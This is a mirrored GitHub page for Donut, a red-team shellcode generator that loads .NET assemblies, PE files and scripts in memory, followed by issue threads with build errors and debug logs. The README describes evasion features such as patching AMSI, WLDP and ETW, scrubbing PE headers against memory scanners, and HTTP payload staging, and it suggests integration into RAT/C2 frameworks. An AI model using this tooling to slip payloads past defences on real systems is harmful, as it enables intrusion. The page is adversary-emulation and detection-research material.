Giter Site home page Giter Site logo

thewover / donut Goto Github PK

View Code? Open in Web Editor NEW
3.3K 81.0 595.0 9.95 MB

Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

License: BSD 3-Clause "New" or "Revised" License

Makefile 0.13% C 72.05% C# 7.76% C++ 3.05% JavaScript 0.01% Python 0.19% VBScript 0.01% Go 16.76% Dockerfile 0.05%

donut's Introduction

Issues Contributors Stars Forks License Chat Github All Releases Twitter URL

Alt text

Current version: v1

Table of contents

  1. Introduction
  2. How It Works
  3. Building
  4. Usage
  5. Subprojects
  6. Developing with Donut
  7. Questions and Discussions
  8. Disclaimer

1. Introduction

Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. A module created by Donut can either be staged from a HTTP server or embedded directly in the loader itself. The module is optionally encrypted using the Chaskey block cipher and a 128-bit randomly generated key. After the file is loaded and executed in memory, the original reference is erased to deter memory scanners. The generator and loader support the following features:

  • Compression of input files with aPLib and LZNT1, Xpress, Xpress Huffman via RtlCompressBuffer.
  • Using entropy for API hashes and generation of strings.
  • 128-bit symmetric encryption of files.
  • Overwriting native PE headers.
  • Storing native PEs in MEM_IMAGE memory.
  • Patching Antimalware Scan Interface (AMSI) and Windows Lockdown Policy (WLDP).
  • Patching Event Tracing for Windows (ETW).
  • Patching command line for EXE files.
  • Patching exit-related API to avoid termination of host process.
  • Multiple output formats: C, Ruby, Python, PowerShell, Base64, C#, Hexadecimal, and UUID string.

There are dynamic and static libraries for both Linux and Windows that can be integrated into your own projects. There's also a python module which you can read more about in Building and using the Python extension.

2. How It Works

Donut contains individual loaders for each supported file type. For dotNET EXE/DLL assemblies, Donut uses the Unmanaged CLR Hosting API to load the Common Language Runtime. Once the CLR is loaded into the host process, a new Application Domain is created to allow for running Assemblies in disposable AppDomains. When the AppDomain is ready, the dotNET Assembly is loaded via the AppDomain.Load_3 method. Finally, the Entry Point for EXEs or public method for DLLs specified by the user is invoked with any additional parameters. Refer to MSDN for documentation on the Unmanaged CLR Hosting API. For a standalone example of a CLR Host, refer to code here.

VBScript and JScript files are executed using the IActiveScript interface. There's also minimal support for some of the methods provided by the Windows Script Host (wscript/cscript). For a standalone example, refer to code here. For a more detailed description, read: In-Memory Execution of JavaScript, VBScript, JScript and XSL

Unmanaged or native EXE/DLL files are executed using a custom PE loader with support for Delayed Imports, TLS and patching the command line. Only files with relocation information are supported. Read In-Memory Execution of DLL for more information.

The loader can disable AMSI and WLDP to help evade detection of malicious files executed in-memory. For more information, read How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code. It also supports decompression of files in memory using aPLib or the RtlDecompressBuffer API. Read Data Compression for more information.

As of v1.0, ETW is also bypassed. Like with AMSI/WLDP, this a modular system that allows you to swap out the default bypass with your own. The default bypass is derived from research by XPN. Read Hiding your .NET - ETW for more information.

By default, the loader will overwrite the PE headers of unmanaged PEs (from the base address to `IMAGE_OPTIONAL_HEADER.SizeOfHeaders`). If no decoy module is used (module overloading), then the PE headers will be zeroed. If a decoy module is used, the PE headers of the decoy module will be used to overwrite those of the payload module. This is to deter detection by comparing the PE headers of modules in memory with the file backing them on disk. The user may request that all PE headers be preserved in their original state. This is helpful for scenarios when the payload module needs to access its PE headers, such as when looking up embedded PE resources.

For a detailed walkthrough using the generator and how Donut affects tradecraft, read Donut - Injecting .NET Assemblies as Shellcode. For more information about the loader, read Loading .NET Assemblies From Memory.

Those who wish to know more about the internals should refer to Developer notes.

3. Building

There are two types of build. If you want to debug Donut, please refer to documentation here. If not, continue reading for the release build.

Clone

From a Windows command prompt or Linux terminal, clone the repository.

 
  git clone http://github.com/thewover/donut.git

The next step depends on your operating system and what compiler you decide to use. Currently, the generator and loader template for Donut can be compiled successfully with both Microsoft Visual Studio 2019 and MingGW-64. To use the libraries in your own C/C++ project, please refer to the examples provided here.

Windows

To generate the loader template, dynamic library donut.dll, the static library donut.lib and the generator donut.exe. Start an x64 Microsoft Visual Studio Developer Command Prompt, change to the directory where you cloned the Donut repository and enter the following:

  nmake -f Makefile.msvc

To do the same, except using MinGW-64 on Windows or Linux, change to the directory where you cloned the Donut repository and enter the following:

  make -f Makefile.mingw

Linux

To generate the dynamic library donut.so, the static library donut.a and the generator donut. Change to the directory where you cloned the Donut repository and simply type make.

Python Module

Donut can be installed and used as a Python module. To install from source requires pip for Python3. First, ensure older versions of donut-shellcode are not installed by issuing the following command on Linux terminal or Microsoft Visual Studio command prompt.

  pip3 uninstall donut-shellcode

After you confirm older versions are no longer installed, issue the following command.

  pip3 install .

You may also install Donut as a Python module by grabbing it from the PyPi repository.

  pip3 install donut-shellcode

For more information, please refer to Building and using the Python extension.

Docker

Building the docker container.

  docker build -t donut .

Running donut.

  docker run -it --rm -v "${PWD}:/workdir" donut -h

Support Tools

Donut includes several other executables that may be built separately. This include "hash.exe", "encrypt.exe","inject.exe", and "inject_local.exe". The first two are used in shellcode generation. The latter two are provided to assist with testing donut shellcode. "inject.exe" will inject a raw binary file (loader.bin) into a process by its PID or process name. "inject_local.exe" will inject a raw binary file into its own process.

To build these support executables separately you may use the MSVC makefile. For example, to build "inject_local.exe" to test your donut shellcode, you may run.

  nmake inject_local -f Makefile.msvc

Releases

Tags have been provided for each release version of Donut that contain the compiled executables.

Currently, there are two other generators available.

4. Usage

The following table lists switches supported by the command line version of the generator.

Switch Argument Description
-a arch Target architecture for loader : 1=x86, 2=amd64, 3=x86+amd64(default).
-b level Behavior for bypassing AMSI/WLDP : 1=None, 2=Abort on fail, 3=Continue on fail.(default)
-k headers Preserve PE headers. 1=Overwrite (default), 2=Keep all
-j decoy Optional path of decoy module for Module Overloading.
-c class Optional class name. (required for .NET DLL) Can also include namespace: e.g namespace.class
-d name AppDomain name to create for .NET. If entropy is enabled, one will be generated randomly.
-e level Entropy level. 1=None, 2=Generate random names, 3=Generate random names + use symmetric encryption (default)
-f format The output format of loader saved to file. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=PowerShell, 7=C#, 8=Hexadecimal
-m name Optional method or function for DLL. (a method is required for .NET DLL)
-n name Module name for HTTP staging. If entropy is enabled, one is generated randomly.
-o path Specifies where Donut should save the loader. Default is "loader.bin" in the current directory.
-p parameters Optional parameters/command line inside quotations for DLL method/function or EXE.
-r version CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
-s server URL for the HTTP server that will host a Donut module. Credentials may be provided in the following format:
https://username:[email protected]/
-t Run the entrypoint of an unmanaged/native EXE as a thread and wait for thread to end.
-w Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)
-x option Determines how the loader should exit. 1=exit thread (default), 2=exit process, 3=Do not exit or cleanup and block indefinitely
-y addr Creates a new thread for the loader and continues execution at an address that is an offset relative to the host process's executable. The value provided is the offset. This option supports loaders that wish to resume execution of the host process after donut completes execution.
-z engine Pack/Compress the input file. 1=None, 2=aPLib, 3=LZNT1, 4=Xpress, 5=Xpress Huffman. Currently, the last three are only supported on Windows.

Payload Requirements

There are some specific requirements that your payload must meet in order for Donut to successfully load it.

.NET Assemblies

  • The entry point method must only take strings as arguments, or take no arguments.
  • The entry point method must be marked as public and static.
  • The class containing the entry point method must be marked as public.
  • The Assembly must NOT be a Mixed Assembly (contain both managed and native code).
  • As such, the Assembly must NOT contain any Unmanaged Exports.

Native EXE/DLL

  • Binaries built with Cygwin are unsupported.

Cygwin executables use initialization routines that expect the host process to be running from disk. If executing from memory, the host process will likely crash.

Unmanaged DLLs

  • A user-specified entry point method must only take a string as an argument, or take no arguments. We have provided an example.

5. Subprojects

There are four companion projects provided with donut:

Tool Description
DemoCreateProcess A sample .NET Assembly to use in testing. Takes two command-line parameters that each specify a program to execute.
DonutTest A simple C# shellcode injector to use in testing donut. The shellcode must be base64 encoded and copied in as a string.
ModuleMonitor A proof-of-concept tool that detects CLR injection as it is done by tools such as Donut and Cobalt Strike's execute-assembly.
ProcessManager A Process Discovery tool that offensive operators may use to determine what to inject into and defensive operators may use to determine what is running, what properties those processes have, and whether or not they have the CLR loaded.

6. Developing with Donut

You may want to add support for more types of payloads, change our feature set, or integrate Donut into your existing tooling. We have provided developer documentation. Additional features are left as exercises to the reader. Our suggestions:

  • Add environmental keying.
  • Make Donut polymorphic by obfuscating the loader every time shellcode is generated.
  • Integrate Donut as a module into your favorite RAT/C2 Framework.

7. Questions and Discussion

If you have any questions or comments about Donut. Join the #Donut channel in the BloodHound Gang Slack

8. Disclaimer

We are not responsible for any misuse of this software or technique. Donut is provided as a demonstration of CLR Injection and in-memory loading through shellcode in order to provide red teamers a way to emulate adversaries and defenders a frame of reference for building analytics and mitigations. This inevitably runs the risk of malware authors and threat actors misusing it. However, we believe that the net benefit outweighs the risk. Hopefully that is correct. In the event EDR or AV products are capable of detecting Donut via signatures or behavioral patterns, we will not update Donut to counter signatures or detection methods. To avoid being offended, please do not ask.

donut's People

Contributors

askme765cs avatar awgh avatar byt3bl33d3r avatar caledoniaproject avatar grzryc avatar jabra- avatar jarilaos avatar kylewillmon avatar m4rvxpn avatar majiru avatar mark-s avatar odzhan avatar physics-sec avatar s4ntiagop avatar soolidsnake avatar thewover avatar tijme avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

donut's Issues

Verify .NET 5 compatability

With .NET 5, .NET Core and Framework are merging into one platform that will be standard across OSes. Before releasing v0.9.3, we should validate that Donut works with .NET 5 and document any relevant findings.

Publish v0.9.3 beta release to pip

I need the functionality of the -x command (terminating the process when the payload exits) for something that I am using Donut with. So, I'll see if I can publish the beta version of v0.9.3 to pip without making it so that the beta release installed if a user runs pip install donut-shellcode.

Add/update references to third-party

Before releasing v0.9.3, update the reference to @awgh 's Go port and add a reference to @n1xbyte 's C# port. We should make sure and communicate with them to ensure that we are referencing the versions that they want us to.

Only load PE imports if they are not already loaded

In the PE loader, add a routine that checks the PEB to look for the base address of imported modules to see if they are already loaded. If they are, use the copy in memory and avoid every calling LoadLibrary for them. This creates the possibility of avoiding generating image load / modload events for each import.

compiling as python, Linux throwing an error

while running make command

gcc -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c payload/clib.c -odonut
In file included from include/pe.h:5,
from include/donut.h:57,
from donut.c:32:
include/wintypes.h:88: error: redefinition of typedef ‘CHAR’
include/wintypes.h:73: note: previous declaration of ‘CHAR’ was here
In file included from donut.c:32:
include/donut.h:82: error: redefinition of typedef ‘DWORD’
include/wintypes.h:57: note: previous declaration of ‘DWORD’ was here
include/donut.h:83: error: redefinition of typedef ‘WORD’
include/wintypes.h:49: note: previous declaration of ‘WORD’ was here
include/donut.h:84: error: redefinition of typedef ‘BYTE’
include/wintypes.h:37: note: previous declaration of ‘BYTE’ was here
include/donut.h:86: error: redefinition of typedef ‘CHAR’
include/wintypes.h:88: note: previous declaration of ‘CHAR’ was here
make: *** [donut] Error 1

Don't know how to fix this , please need help on this

donut-shell code installation issue

i am getting while running this command.
pip3 install donut-shellcode
OS: Ubuntu 16.0.4
python version:3.6.10

====================================================================
Using cached donut-shellcode-0.9.2.tar.gz (149 kB)
Building wheels for collected packages: donut-shellcode
Building wheel for donut-shellcode (setup.py) ... error
ERROR: Command errored out with exit status 1:
command: /usr/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-3xopcy2r/donut-shellcode/setup.py'"'"'; file='"'"'/tmp/pip-install-3xopcy2r/donut-shellcode/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' bdist_wheel -d /tmp/pip-wheel-h11qdgs6
cwd: /tmp/pip-install-3xopcy2r/donut-shellcode/
Complete output (19 lines):
/usr/lib/python3.6/distutils/dist.py:261: UserWarning: Unknown distribution option: 'long_description_content_type'
warnings.warn(msg)
/usr/lib/python3.6/distutils/dist.py:261: UserWarning: Unknown distribution option: 'python_requires'
warnings.warn(msg)
running bdist_wheel
running build
running build_ext
building 'donut' extension
creating build
creating build/temp.linux-x86_64-3.6
creating build/temp.linux-x86_64-3.6/payload
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c donut.c -o build/temp.linux-x86_64-3.6/donut.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c hash.c -o build/temp.linux-x86_64-3.6/hash.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c encrypt.c -o build/temp.linux-x86_64-3.6/encrypt.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c payload/clib.c -o build/temp.linux-x86_64-3.6/payload/clib.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c donutmodule.c -o build/temp.linux-x86_64-3.6/donutmodule.o
donutmodule.c:34:20: fatal error: Python.h: No such file or directory
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1

ERROR: Failed building wheel for donut-shellcode
Running setup.py clean for donut-shellcode
Failed to build donut-shellcode
Installing collected packages: donut-shellcode
Running setup.py install for donut-shellcode ... error
ERROR: Command errored out with exit status 1:
command: /usr/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-3xopcy2r/donut-shellcode/setup.py'"'"'; file='"'"'/tmp/pip-install-3xopcy2r/donut-shellcode/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /tmp/pip-record-gz8vjj14/install-record.txt --single-version-externally-managed --compile --install-headers /usr/local/include/python3.6/donut-shellcode
cwd: /tmp/pip-install-3xopcy2r/donut-shellcode/
Complete output (19 lines):
/usr/lib/python3.6/distutils/dist.py:261: UserWarning: Unknown distribution option: 'long_description_content_type'
warnings.warn(msg)
/usr/lib/python3.6/distutils/dist.py:261: UserWarning: Unknown distribution option: 'python_requires'
warnings.warn(msg)
running install
running build
running build_ext
building 'donut' extension
creating build
creating build/temp.linux-x86_64-3.6
creating build/temp.linux-x86_64-3.6/payload
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c donut.c -o build/temp.linux-x86_64-3.6/donut.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c hash.c -o build/temp.linux-x86_64-3.6/hash.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c encrypt.c -o build/temp.linux-x86_64-3.6/encrypt.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c payload/clib.c -o build/temp.linux-x86_64-3.6/payload/clib.o
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Iinclude -I/usr/include/python3.6m -c donutmodule.c -o build/temp.linux-x86_64-3.6/donutmodule.o
donutmodule.c:34:20: fatal error: Python.h: No such file or directory
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
----------------------------------------
ERROR: Command errored out with exit status

Convert .NET subprojects to .NET Core

As much as possible, convert the included .NET subprojects to .NET Core so that they can be build on Linux. At the very least, do this for DemoCreateProcess so that users may generate test shellcode easily on Linux.

PEs w/ .rsrc section won't work as expected

Hi! I was doing some experiments with some PEs with embedded resources: the generated payload seems to not account for them.

I have produced a minimal example to debug the issue with mingw (tweak Makefile if needed): https://github.com/phra/mingw-pe-resources-example

When the regular application is launched, the icon of the window is set up properly, while if passed through donut, the default system icon is shown instead.

I suspect the generated payload is trying to access the .rsrc section of the PE hosting its execution instead of the original one and, if confirmed, I think it can require some manual patching similar to the command line override.

Any ideas?

HTTP client does not supported chunked responses

When serving modules for staged payloads, the HTTP response must contain a Content-Length header. Some web servers will instead use the Transfer-Encoding: chunked header when serving large files, which will cause the loader to fail here.

I don't really need a fix for this, as I adjusted my web server response.

I can submit a PR with a note in devnotes.md if you want. Otherwise, you may close this issue.

Need to load assembly in current domain

When entropy is set to zero (aka -e 1), donut still loads a new domain with the name AAAAAAAA. I was expecting it to use the default domain instead.

Can you change this behavior? I need to use csharp shellcode to patch something, which involves something already loaded in the default domain, but I can't cross the domain boundary

The relevant code is:

      DPRINT("ICorRuntimeHost::CreateDomain(\"%ws\")", buf);
      
      hr = pa->icrh->lpVtbl->CreateDomain(
        pa->icrh, domain, NULL, &pa->iu);

Can't process obfuscated CLR

I'm getting segfault while trying to process a .NET Reactor obfuscated CLR:

(gdb) run -f /tmp/secure.exe
Starting program: /xxxx/donut -f /tmp/secure.exe

  [ Donut shellcode generator v0.9.2
  [ Copyright (c) 2019 TheWover, Odzhan

DEBUG: donut.c:823:DonutCreate(): Entering.
DEBUG: donut.c:825:DonutCreate(): Validating configuration and path of file PDONUT_CONFIG: 0x7fffffffd2e0
DEBUG: donut.c:841:DonutCreate(): Validating instance type 1
DEBUG: donut.c:881:DonutCreate(): Validating architecture
DEBUG: donut.c:891:DonutCreate(): Validating AMSI/WDLP bypass option
DEBUG: donut.c:277:get_file_info(): Entering.
DEBUG: donut.c:286:get_file_info(): Checking extension of /tmp/secure.exe
DEBUG: donut.c:293:get_file_info(): Extension is ".exe"
DEBUG: donut.c:315:get_file_info(): Module is EXE
DEBUG: donut.c:327:get_file_info(): Mapping /tmp/secure.exe into memory
DEBUG: donut.c:222:map_file(): Reading size of file : /tmp/secure.exe
DEBUG: donut.c:231:map_file(): Opening /tmp/secure.exe
DEBUG: donut.c:241:map_file(): Mapping 46592 bytes for /tmp/secure.exe
DEBUG: donut.c:336:get_file_info(): Checking DOS header
DEBUG: donut.c:342:get_file_info(): Checking NT header
DEBUG: donut.c:348:get_file_info(): Checking IMAGE_DATA_DIRECTORY
DEBUG: donut.c:356:get_file_info(): Checking characteristics
DEBUG: donut.c:368:get_file_info(): COM Directory found

Program received signal SIGSEGV, Segmentation fault.
0x00005555555563b0 in get_file_info (path=0x7fffffffdee8 "/tmp/secure.exe", fi=0x7fffffffd210) at donut.c:379
379	          rva = cor->MetaData.VirtualAddress;
(gdb) bt
#0  0x00005555555563b0 in get_file_info (path=0x7fffffffdee8 "/tmp/secure.exe", fi=0x7fffffffd210) at donut.c:379
#1  0x000055555555893d in DonutCreate (c=0x7fffffffd2e0) at donut.c:901
#2  0x0000555555559c34 in main (argc=3, argv=0x7fffffffe418) at donut.c:1285

(gdb) p cor->MetaData
Cannot access memory at address 0x8000d4083009
(gdb) p cor
$1 = (PIMAGE_COR20_HEADER) 0x8000d4083001

VBS payload not executing

I tried to generate a simple VBS testcase, my payload file only contains this:
MsgBox "Hello Donut!", VBOKOnly

The shellcode does not execute however. Below is the donut debug output:

C:\Users\b33f>C:\Users\b33f\Desktop\donut-master\donut.exe -f C:\Users\b33f\Desktop\test.vbs -o C:\Users\b33f\Desktop\test.bin
  [ Donut shellcode generator v0.9.2
  [ Copyright (c) 2019 TheWover, Odzhan
DEBUG: donut.c:842:DonutCreate(): Entering.
DEBUG: donut.c:844:DonutCreate(): Validating configuration and path of file PDONUT_CONFIG: 00EFEE2C
DEBUG: donut.c:860:DonutCreate(): Validating instance type 1
DEBUG: donut.c:900:DonutCreate(): Validating architecture
DEBUG: donut.c:910:DonutCreate(): Validating AMSI/WDLP bypass option
DEBUG: donut.c:287:get_file_info(): Entering.
DEBUG: donut.c:296:get_file_info(): Checking extension of C:\Users\b33f\Desktop\test.vbs
DEBUG: donut.c:303:get_file_info(): Extension is ".vbs"
DEBUG: donut.c:307:get_file_info(): Module is VBS
DEBUG: donut.c:337:get_file_info(): Mapping C:\Users\b33f\Desktop\test.vbs into memory
DEBUG: donut.c:231:map_file(): Reading size of file : C:\Users\b33f\Desktop\test.vbs
DEBUG: donut.c:240:map_file(): Opening C:\Users\b33f\Desktop\test.vbs
DEBUG: donut.c:250:map_file(): Mapping 31 bytes for C:\Users\b33f\Desktop\test.vbs
DEBUG: donut.c:412:get_file_info(): Leaving.
DEBUG: donut.c:973:DonutCreate(): Creating module
DEBUG: donut.c:535:CreateModule(): Entering.
DEBUG: donut.c:539:CreateModule(): Allocating 6463 bytes of memory for DONUT_MODULE
DEBUG: donut.c:629:CreateModule(): Leaving.
DEBUG: donut.c:980:DonutCreate(): Creating instance
DEBUG: donut.c:640:CreateInstance(): Entering.
DEBUG: donut.c:643:CreateInstance(): Allocating space for instance
DEBUG: donut.c:650:CreateInstance(): The size of module is 6463 bytes. Adding to size of instance.
DEBUG: donut.c:662:CreateInstance(): Generating random key for instance
DEBUG: donut.c:668:CreateInstance(): Generating random key for module
DEBUG: donut.c:674:CreateInstance(): Generating random string to verify decryption
DEBUG: donut.c:680:CreateInstance(): Generating random IV for Maru hash
DEBUG: donut.c:685:CreateInstance(): Generating hashes for API using IV: babd7e54bb820282
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : LoadLibraryA           = A34593C31D0C22C
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : GetProcAddress         = B2795FC9DC9F3371
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : GetModuleHandleA       = 75C011E083850109
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : VirtualAlloc           = 2B203BB1E5CAA0A3
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : VirtualFree            = 11103F019F028A7E
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : VirtualQuery           = 41CE65B0A9AD3E28
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : VirtualProtect         = 7504E9E76041F3A9
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : Sleep                  = DCBBDFD31893F015
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : MultiByteToWideChar    = FE4C58A8C71668BA
DEBUG: donut.c:698:CreateInstance(): Hash for kernel32.dll    : GetUserDefaultLCID     = BE9FED813F8DCA2
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SafeArrayCreate        = E63853C41BFD90A4
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SafeArrayCreateVector  = CA27E31FD7103EEA
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SafeArrayPutElement    = 9A5293CA521B2082
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SafeArrayDestroy       = 35E5EE184B0E29BC
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SafeArrayGetLBound     = CBE4859AFE656F63
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SafeArrayGetUBound     = 5C01C1B18A17C47
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SysAllocString         = F377A16EFFB07660
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : SysFreeString          = 2CEF9CA5579BB4C4
DEBUG: donut.c:698:CreateInstance(): Hash for oleaut32.dll    : LoadTypeLib            = 985260289F8462
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : InternetCrackUrlA      = 47131A87EB1A73F2
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : InternetOpenA          = 4FC912588DE2B663
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : InternetConnectA       = 7944D8FC12654577
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : InternetSetOptionA     = E5F46F9A4BB69829
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : InternetReadFile       = CB3ACE4B44B126F3
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : InternetCloseHandle    = E9DC0672F4A8562D
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : HttpOpenRequestA       = D8BF2129B31FE23F
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : HttpSendRequestA       = 1DE34AB7F9B81848
DEBUG: donut.c:698:CreateInstance(): Hash for wininet.dll     : HttpQueryInfoA         = BCDF6ED6F7662F5B
DEBUG: donut.c:698:CreateInstance(): Hash for mscoree.dll     : CorBindToRuntime       = 93DE6285FC2CDDD9
DEBUG: donut.c:698:CreateInstance(): Hash for mscoree.dll     : CLRCreateInstance      = EB15AB07B8438BD0
DEBUG: donut.c:698:CreateInstance(): Hash for ole32.dll       : CoInitializeEx         = B1A1B2BB9AA44298
DEBUG: donut.c:698:CreateInstance(): Hash for ole32.dll       : CoCreateInstance       = 56B41A3D866B36FF
DEBUG: donut.c:698:CreateInstance(): Hash for ole32.dll       : CoUninitialize         = 1909B767E54AC00B
DEBUG: donut.c:726:CreateInstance(): Copying GUID structures and DLL strings for loading VBS/JS
DEBUG: donut.c:811:CreateInstance(): Copying module data to instance
DEBUG: donut.c:816:CreateInstance(): encrypting instance
DEBUG: donut.c:828:CreateInstance(): Leaving.
DEBUG: donut.c:988:DonutCreate(): Saving instance to file
DEBUG: donut.c:1021:DonutCreate(): PIC size : 30902
DEBUG: donut.c:1028:DonutCreate(): Inserting opcodes
DEBUG: donut.c:1064:DonutCreate(): Copying 16111 bytes of x86 + amd64 shellcode
DEBUG: donut.c:268:unmap_file(): Unmapping
DEBUG: donut.c:271:unmap_file(): Closing
DEBUG: donut.c:1090:DonutCreate(): Leaving.
  [ Instance type : PIC
  [ Module file   : "C:\Users\b33f\Desktop\test.vbs"
  [ File type     : VBScript
  [ Target CPU    : x86+AMD64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "C:\Users\b33f\Desktop\test.bin"

And the instance output. Note the JSError: Permission denied: 'MsgBox' line[0:0].

C:\Users\b33f\Desktop\donut-master>payload\payload.exe instance
Running...
DEBUG: payload.c:46:ThreadProc(): Maru IV : BABD7E54BB820282
DEBUG: payload.c:49:ThreadProc(): Resolving address for VirtualAlloc() : 2B203BB1E5CAA0A3
DEBUG: payload.c:53:ThreadProc(): Resolving address for VirtualAlloc() : 11103F019F028A7E
DEBUG: payload.c:62:ThreadProc(): VirtualAlloc : 75B35ED0 VirtualFree : 75B35EF0
DEBUG: payload.c:64:ThreadProc(): Allocating 14759 bytes of RW memory
DEBUG: payload.c:71:ThreadProc(): Copying 14759 bytes of data to memory 001E0000
DEBUG: payload.c:75:ThreadProc(): Zero initializing PDONUT_ASSEMBLY
DEBUG: payload.c:83:ThreadProc(): Decrypting 14759 bytes of instance
DEBUG: payload.c:90:ThreadProc(): Generating hash to verify decryption
DEBUG: payload.c:92:ThreadProc(): Instance : 86c93c034facc7ef | Result : 86c93c034facc7ef
DEBUG: payload.c:99:ThreadProc(): Resolving LoadLibraryA
DEBUG: payload.c:105:ThreadProc(): Loading ole32.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading oleaut32.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading wininet.dll ...
